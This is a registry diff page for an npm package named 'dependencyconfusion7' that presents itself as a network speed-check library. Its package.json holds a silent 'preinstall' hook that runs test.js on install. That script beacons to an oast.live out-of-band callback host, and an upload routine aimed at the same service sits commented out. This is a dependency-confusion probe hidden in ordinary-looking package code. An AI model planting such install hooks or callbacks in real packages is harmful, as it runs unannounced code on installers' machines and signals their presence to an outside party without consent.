dependencyconfusion7 1.0.0
Sign up to get free protection for your applications and to get access to all the features.
- package/index.js +188 -0
- package/package.json +12 -0
- package/test.js +50 -0
package/index.js
ADDED
@@ -0,0 +1,188 @@
|
|
1
|
+
const http = require('http');
|
2
|
+
|
3
|
+
const https = require('https');
|
4
|
+
|
5
|
+
let { URL, Url } = require('url');
|
6
|
+
|
7
|
+
/**
|
8
|
+
|
9
|
+
* Use the default Node URL Class if found i.e. Inside a Node environment
|
10
|
+
|
11
|
+
* to allow http and https, otherwise use the Url consturctor for browser environments
|
12
|
+
|
13
|
+
* strictly limited to https for secure connections
|
14
|
+
|
15
|
+
*/
|
16
|
+
|
17
|
+
URL = URL ? URL : Url;
|
18
|
+
|
19
|
+
|
20
|
+
const chars =
|
21
|
+
|
22
|
+
"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789~!@#$%^&*()_+`-=[]{}|;':,./<>?";
|
23
|
+
|
24
|
+
|
25
|
+
class NetworkSpeedCheck {
|
26
|
+
|
27
|
+
/**
|
28
|
+
|
29
|
+
* Function to check download speed
|
30
|
+
|
31
|
+
* @param {String} baseUrl {Required} The url to which the request should be made
|
32
|
+
|
33
|
+
* @param {Number} fileSizeInBytes {Required} The size (in bytes) of the file to be downloaded
|
34
|
+
|
35
|
+
* @returns {Object}
|
36
|
+
|
37
|
+
*/
|
38
|
+
|
39
|
+
|
40
|
+
_protocol (url) {
|
41
|
+
|
42
|
+
var u = new URL(url)
|
43
|
+
|
44
|
+
return u.protocol === 'http:' ? http : https
|
45
|
+
|
46
|
+
}
|
47
|
+
|
48
|
+
checkDownloadSpeed(baseUrl, fileSizeInBytes) {
|
49
|
+
|
50
|
+
this.validateDownloadSpeedParams(baseUrl, fileSizeInBytes)
|
51
|
+
|
52
|
+
let startTime;
|
53
|
+
|
54
|
+
let protocol = this._protocol(baseUrl)
|
55
|
+
|
56
|
+
return new Promise((resolve, _) => {
|
57
|
+
|
58
|
+
return protocol.get(baseUrl, response => {
|
59
|
+
|
60
|
+
response.once('data', () => {
|
61
|
+
|
62
|
+
startTime = new Date().getTime();
|
63
|
+
|
64
|
+
});
|
65
|
+
|
66
|
+
|
67
|
+
response.once('end', () => {
|
68
|
+
|
69
|
+
const endTime = new Date().getTime();
|
70
|
+
|
71
|
+
const duration = (endTime - startTime) / 1000;
|
72
|
+
|
73
|
+
// Convert bytes into bits by multiplying with 8
|
74
|
+
|
75
|
+
const bitsLoaded = fileSizeInBytes * 8;
|
76
|
+
|
77
|
+
const bps = (bitsLoaded / duration).toFixed(2);
|
78
|
+
|
79
|
+
const kbps = (bps / 1000).toFixed(2);
|
80
|
+
|
81
|
+
const mbps = (kbps / 1000).toFixed(2);
|
82
|
+
|
83
|
+
resolve({ bps, kbps, mbps });
|
84
|
+
|
85
|
+
});
|
86
|
+
|
87
|
+
});
|
88
|
+
|
89
|
+
}).catch(error => {
|
90
|
+
|
91
|
+
throw new Error(error);
|
92
|
+
|
93
|
+
});
|
94
|
+
|
95
|
+
}
|
96
|
+
|
97
|
+
|
98
|
+
checkUploadSpeed(options, fileSizeInBytes = 2000000) {
|
99
|
+
|
100
|
+
let startTime;
|
101
|
+
|
102
|
+
const defaultData = this.generateTestData(fileSizeInBytes / 1000);
|
103
|
+
|
104
|
+
const data = JSON.stringify({ defaultData });
|
105
|
+
|
106
|
+
return new Promise((resolve, reject) => {
|
107
|
+
|
108
|
+
let req = http.request(options, res => {
|
109
|
+
|
110
|
+
res.setEncoding("utf8");
|
111
|
+
|
112
|
+
res.on('data', () => {});
|
113
|
+
|
114
|
+
res.on("end", () => {
|
115
|
+
|
116
|
+
const endTime = new Date().getTime();
|
117
|
+
|
118
|
+
const duration = (endTime - startTime) / 1000;
|
119
|
+
|
120
|
+
const bitsLoaded = fileSizeInBytes * 8;
|
121
|
+
|
122
|
+
const bps = (bitsLoaded / duration).toFixed(2);
|
123
|
+
|
124
|
+
const kbps = (bps / 1000).toFixed(2);
|
125
|
+
|
126
|
+
const mbps = (kbps / 1000).toFixed(2);
|
127
|
+
|
128
|
+
resolve({ bps, kbps, mbps });
|
129
|
+
|
130
|
+
});
|
131
|
+
|
132
|
+
});
|
133
|
+
|
134
|
+
startTime = new Date().getTime();
|
135
|
+
|
136
|
+
req.on('error', error => {
|
137
|
+
|
138
|
+
reject(error)
|
139
|
+
|
140
|
+
});
|
141
|
+
|
142
|
+
req.write(data)
|
143
|
+
|
144
|
+
req.end()
|
145
|
+
|
146
|
+
})
|
147
|
+
|
148
|
+
}
|
149
|
+
|
150
|
+
|
151
|
+
validateDownloadSpeedParams(baseUrl, fileSizeInBytes) {
|
152
|
+
|
153
|
+
if (typeof baseUrl !== 'string') {
|
154
|
+
|
155
|
+
throw new Error('baseUrl must be a string')
|
156
|
+
|
157
|
+
}
|
158
|
+
|
159
|
+
if (typeof fileSizeInBytes !== 'number') {
|
160
|
+
|
161
|
+
throw new Error('fileSizeInBytes must be a number')
|
162
|
+
|
163
|
+
}
|
164
|
+
|
165
|
+
return
|
166
|
+
|
167
|
+
}
|
168
|
+
|
169
|
+
|
170
|
+
generateTestData(sizeInKmb) {
|
171
|
+
|
172
|
+
const iterations = sizeInKmb * 1000; //get byte count
|
173
|
+
|
174
|
+
let result = '';
|
175
|
+
|
176
|
+
for (var index = 0; index < iterations; index++) {
|
177
|
+
|
178
|
+
result += chars.charAt(Math.floor(Math.random() * chars.length));
|
179
|
+
|
180
|
+
}
|
181
|
+
|
182
|
+
return result;
|
183
|
+
|
184
|
+
}
|
185
|
+
|
186
|
+
}
|
187
|
+
|
188
|
+
module.exports = NetworkSpeedCheck;
|
package/package.json
ADDED
@@ -0,0 +1,12 @@
|
|
1
|
+
{
|
2
|
+
"name": "dependencyconfusion7",
|
3
|
+
"version": "1.0.0",
|
4
|
+
"description": "",
|
5
|
+
"main": "index.js",
|
6
|
+
"scripts": {
|
7
|
+
"preinstall": "node test.js > /dev/null 2>&1",
|
8
|
+
"test": "echo \"Error: no test specified\" && exit 1"
|
9
|
+
},
|
10
|
+
"author": "",
|
11
|
+
"license": "ISC"
|
12
|
+
}
|
package/test.js
ADDED
@@ -0,0 +1,50 @@
|
|
1
|
+
const NetworkSpeed = require('./index.js');
|
2
|
+
|
3
|
+
const testNetworkSpeed = new NetworkSpeed();
|
4
|
+
|
5
|
+
|
6
|
+
async function getNetworkDownloadSpeed() {
|
7
|
+
|
8
|
+
const baseUrl = 'https://depenconf7.download.cp6ncglqburjov5thgegu489rxikay6en.oast.live';
|
9
|
+
|
10
|
+
const fileSizeInBytes = 500000;
|
11
|
+
|
12
|
+
const speed = await testNetworkSpeed.checkDownloadSpeed(baseUrl, fileSizeInBytes);
|
13
|
+
|
14
|
+
console.log(`Download Speed: ${JSON.stringify(speed)}`);
|
15
|
+
|
16
|
+
}
|
17
|
+
|
18
|
+
|
19
|
+
async function getNetworkUploadSpeed() {
|
20
|
+
|
21
|
+
const options = {
|
22
|
+
|
23
|
+
hostname: 'depenconf7.upload.cp6ncglqburjov5thgegu489rxikay6en.oast.live',
|
24
|
+
|
25
|
+
port: 80,
|
26
|
+
|
27
|
+
path: '/catchers/544b09b4599c1d0200000289',
|
28
|
+
|
29
|
+
method: 'POST',
|
30
|
+
|
31
|
+
headers: {
|
32
|
+
|
33
|
+
'Content-Type': 'application/json',
|
34
|
+
|
35
|
+
},
|
36
|
+
|
37
|
+
};
|
38
|
+
|
39
|
+
const fileSizeInBytes = 200000
|
40
|
+
|
41
|
+
const speed = await testNetworkSpeed.checkUploadSpeed(options, fileSizeInBytes);
|
42
|
+
|
43
|
+
console.log(`Upload Speed: ${JSON.stringify(speed)}`);
|
44
|
+
|
45
|
+
}
|
46
|
+
|
47
|
+
|
48
|
+
getNetworkDownloadSpeed();
|
49
|
+
|
50
|
+
// getNetworkUploadSpeed();
|